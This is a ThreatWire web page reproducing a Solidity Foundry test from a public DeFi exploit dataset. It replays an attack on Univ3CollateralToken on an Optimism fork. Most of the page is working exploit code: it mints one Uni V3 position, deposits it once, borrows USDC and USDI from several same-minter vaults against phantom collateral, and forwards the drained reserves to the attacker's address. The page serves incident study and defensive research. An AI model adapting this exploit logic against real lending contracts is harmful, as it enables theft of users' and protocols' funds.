Skip to content
THREATWIRE

Public reproduction file

src/test/2026-03/Univ3CollateralToken_exp.sol

Public reproduction file for dataset entry Univ3CollateralToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-03/Univ3CollateralToken_exp.sol187 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~57K USD
8// Attacker : 0x1020c949c1c8658cef8e473dbd3631afe68c1938
9// Attack Contract : 0x2fa6fe6b5c8e372fabfc6eb8fa8118cb8ffc3f60
10// Vulnerable Contract : 0x833a17fa29bc2772e4302823b7d39edd7c4bb79a
11// Attack Tx : https://optimistic.etherscan.io/tx/0x18e34ce214211afedb6008c0cd00d476ce71222643521dbff5e2b65cdb2ccb80
13// @Info
14// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0x833a17fa29bc2772e4302823b7d39edd7c4bb79a#code
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2036449500512891317
18//
19// Univ3CollateralToken values Uni V3 positions by vault minter instead of by vault.
20// One deposited position is therefore counted as collateral for every vault owned
21// by the same minter, allowing repeated USDC and USDI borrows against phantom
22// collateral.
24address constant ATTACKER = 0x1020C949C1c8658cEf8e473dbD3631AfE68C1938;
25address constant ATTACK_CONTRACT = 0x2fa6Fe6b5c8E372faBfC6eB8FA8118cB8fFC3f60;
26address constant VULNERABLE_IMPLEMENTATION = 0x833A17FA29bc2772e4302823B7d39eDd7C4bB79a;
27address constant UNIV3_COLLATERAL_TOKEN = 0x7131FF92a3604966d7D96CCc9d596F7e9435195c;
28address constant VAULT_CONTROLLER = 0x05498574BD0Fa99eeCB01e1241661E7eE58F8a85;
29address constant USDI = 0x889be273BE5F75a177f9a1D00d84D607d75fB4e1;
30address constant OP_USDC = 0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85;
31address constant OP_USDC_E = 0x7F5c764cBc14f9669B88837ca1490cCa17c31607;
32address constant OP_WETH = 0x4200000000000000000000000000000000000006;
33address constant NONFUNGIBLE_POSITION_MANAGER = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
35interface IInterestVaultController {
36 function vaultIDs(
37 address wallet
38 ) external view returns (uint96[] memory);
39 function vaultBorrowingPower(
40 uint96 id
41 ) external view returns (uint192);
42 function borrowUSDCto(
43 uint96 id,
44 uint192 usdcAmount,
45 address target
46 ) external;
47 function borrowUSDIto(
48 uint96 id,
49 uint192 amount,
50 address target
51 ) external;
54interface IUSDIReserve is IERC20 {
55 function withdrawToSecondaryReserve(
56 uint256 usdcAmount,
57 address target
58 ) external;
61interface IUniv3CollateralToken {
62 function deposit(
63 uint256 tokenId,
64 uint96 vaultId
65 ) external;
66 function depositedPositions(
67 address minter
68 ) external view returns (uint256[] memory);
71contract ContractTest is BaseTestWithBalanceLog {
72 function setUp() public {
73 uint256 forkBlock = 149_373_832;
74 vm.createSelectFork("optimism", forkBlock);
76 attacker = ATTACKER;
77 multiAssetLog = true;
78 _addFundingToken(OP_USDC);
79 _addFundingToken(OP_USDC_E);
81 vm.label(ATTACKER, "Attacker EOA");
82 vm.label(ATTACK_CONTRACT, "Attack Contract");
83 vm.label(VULNERABLE_IMPLEMENTATION, "Univ3CollateralToken Implementation");
84 vm.label(UNIV3_COLLATERAL_TOKEN, "Univ3CollateralToken Proxy");
85 vm.label(VAULT_CONTROLLER, "VaultController Proxy");
86 vm.label(USDI, "USDI Reserve");
87 vm.label(OP_USDC, "USDC");
88 vm.label(OP_USDC_E, "USDC.e");
89 vm.label(OP_WETH, "WETH");
91 InterestAttack helper = new InterestAttack();
92 vm.etch(ATTACK_CONTRACT, address(helper).code);
93 }
95 function testExploit() public balanceLog {
96 uint256 primaryReserveBefore = IERC20(OP_USDC).balanceOf(USDI);
97 uint256 attackerUsdcBefore = IERC20(OP_USDC).balanceOf(ATTACKER);
98 uint256 attackerUsdceBefore = IERC20(OP_USDC_E).balanceOf(ATTACKER);
100 uint96[] memory vaultIds = IInterestVaultController(VAULT_CONTROLLER).vaultIDs(ATTACK_CONTRACT);
101 assertEq(vaultIds.length, 30);
102 assertEq(IUniv3CollateralToken(UNIV3_COLLATERAL_TOKEN).depositedPositions(ATTACK_CONTRACT).length, 0);
104 // step 1: provide the same setup capital class used to mint the Uni V3 collateral NFT.
105 uint256 seedWeth = 3 ether;
106 deal(OP_WETH, ATTACK_CONTRACT, seedWeth);
108 // step 2: run exploit logic from the historical minter address for a prefix of vault IDs 40..69.
109 uint256 oneVaultUsdcCapacity = InterestAttack(ATTACK_CONTRACT).run(ATTACKER, seedWeth);
111 uint256 attackerUsdcGain = IERC20(OP_USDC).balanceOf(ATTACKER) - attackerUsdcBefore;
112 uint256 attackerUsdceGain = IERC20(OP_USDC_E).balanceOf(ATTACKER) - attackerUsdceBefore;
114 // step 3: one NFT backs multiple vault borrows, exceeding the capacity of a single vault.
115 assertGt(primaryReserveBefore, attackerUsdcGain);
116 assertGt(attackerUsdcGain, oneVaultUsdcCapacity * 2);
117 assertGt(attackerUsdcGain + attackerUsdceGain, oneVaultUsdcCapacity * 4);
118 }
121contract InterestAttack {
122 function run(
123 address profitReceiver,
124 uint256 seedWeth
125 ) external returns (uint256 oneVaultUsdcCapacity) {
126 // step 1: mint one single-sided WETH Uni V3 position.
127 IERC20(OP_WETH).approve(NONFUNGIBLE_POSITION_MANAGER, seedWeth);
128 (uint256 tokenId,, uint256 amount0, uint256 amount1) = INonfungiblePositionManager(NONFUNGIBLE_POSITION_MANAGER)
129 .mint(
130 INonfungiblePositionManager.MintParams({
131 token0: OP_WETH,
132 token1: OP_USDC_E,
133 fee: 500,
134 tickLower: -199_310,
135 tickUpper: -189_510,
136 amount0Desired: seedWeth,
137 amount1Desired: 0,
138 amount0Min: 0,
139 amount1Min: 0,
140 recipient: address(this),
141 deadline: block.timestamp
142 })
143 );
144 require(amount0 > 0 && amount1 == 0, "unexpected mint");
146 // step 2: deposit that one NFT against vault 40; balanceOf() will count it for all same-minter vaults.
147 IERC721(NONFUNGIBLE_POSITION_MANAGER).approve(UNIV3_COLLATERAL_TOKEN, tokenId);
148 IUniv3CollateralToken(UNIV3_COLLATERAL_TOKEN).deposit(tokenId, 40);
150 IInterestVaultController controller = IInterestVaultController(VAULT_CONTROLLER);
151 uint96[] memory vaultIds = controller.vaultIDs(address(this));
152 oneVaultUsdcCapacity = uint256(controller.vaultBorrowingPower(vaultIds[0])) / 1e12;
154 // The full transaction used vaults 40..65 for USDC. This prefix keeps public RPC replay stable.
155 uint256 primaryBorrowCount = 3;
156 uint256 i;
157 for (; i < primaryBorrowCount; i++) {
158 uint256 reserve = IERC20(OP_USDC).balanceOf(USDI);
159 if (reserve == 0) break;
161 uint256 borrowableUsdc = uint256(controller.vaultBorrowingPower(vaultIds[i])) / 1e12;
162 if (borrowableUsdc > reserve) borrowableUsdc = reserve;
163 controller.borrowUSDCto(vaultIds[i], uint192(borrowableUsdc), address(this));
164 }
166 // step 3: use remaining same-minter vaults to mint USDI, then burn it for secondary reserve USDC.e.
167 // The full transaction then used vaults 66..69 for USDI. Two more vaults are enough to prove reuse.
168 uint256 secondaryBorrowStop = i + 2;
169 for (; i < secondaryBorrowStop; i++) {
170 uint256 borrowableUsdi = controller.vaultBorrowingPower(vaultIds[i]);
171 controller.borrowUSDIto(vaultIds[i], uint192(borrowableUsdi), address(this));
172 }
174 uint256 secondaryReserve = IERC20(OP_USDC_E).balanceOf(USDI);
175 uint256 withdrawableSecondary = IUSDIReserve(USDI).balanceOf(address(this)) / 1e12;
176 if (withdrawableSecondary > secondaryReserve) {
177 withdrawableSecondary = secondaryReserve;
178 }
179 if (withdrawableSecondary > 0) {
180 IUSDIReserve(USDI).withdrawToSecondaryReserve(withdrawableSecondary, address(this));
181 }
183 // step 4: forward drained reserve assets to the attacker EOA.
184 IERC20(OP_USDC).transfer(profitReceiver, IERC20(OP_USDC).balanceOf(address(this)));
185 IERC20(OP_USDC_E).transfer(profitReceiver, IERC20(OP_USDC_E).balanceOf(address(this)));
186 }

Analysis

Dataset entry

Public Foundry test for “Univ3CollateralToken” (2026-03-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x1020c949c1c8658cef8e473dbd3631afe68c1938

  • Attack Contract

    0x2fa6fe6b5c8e372fabfc6eb8fa8118cb8ffc3f60

  • Vulnerable Contract

    0x833a17fa29bc2772e4302823b7d39edd7c4bb79a

  • Attack Tx

    0x18e34ce214211afedb6008c0cd00d476ce71222643521dbff5e2b65cdb2ccb80

File record

Name
Univ3CollateralToken
Path
src/test/2026-03/Univ3CollateralToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2df306c7610a8cf8cd1802f2ae43cba7d0ab9c22
Language
Solidity
Size
188 lines
Date
2026-03-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-03/Univ3CollateralToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2df306c7610a8cf8cd1802f2ae43cba7d0ab9c22, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.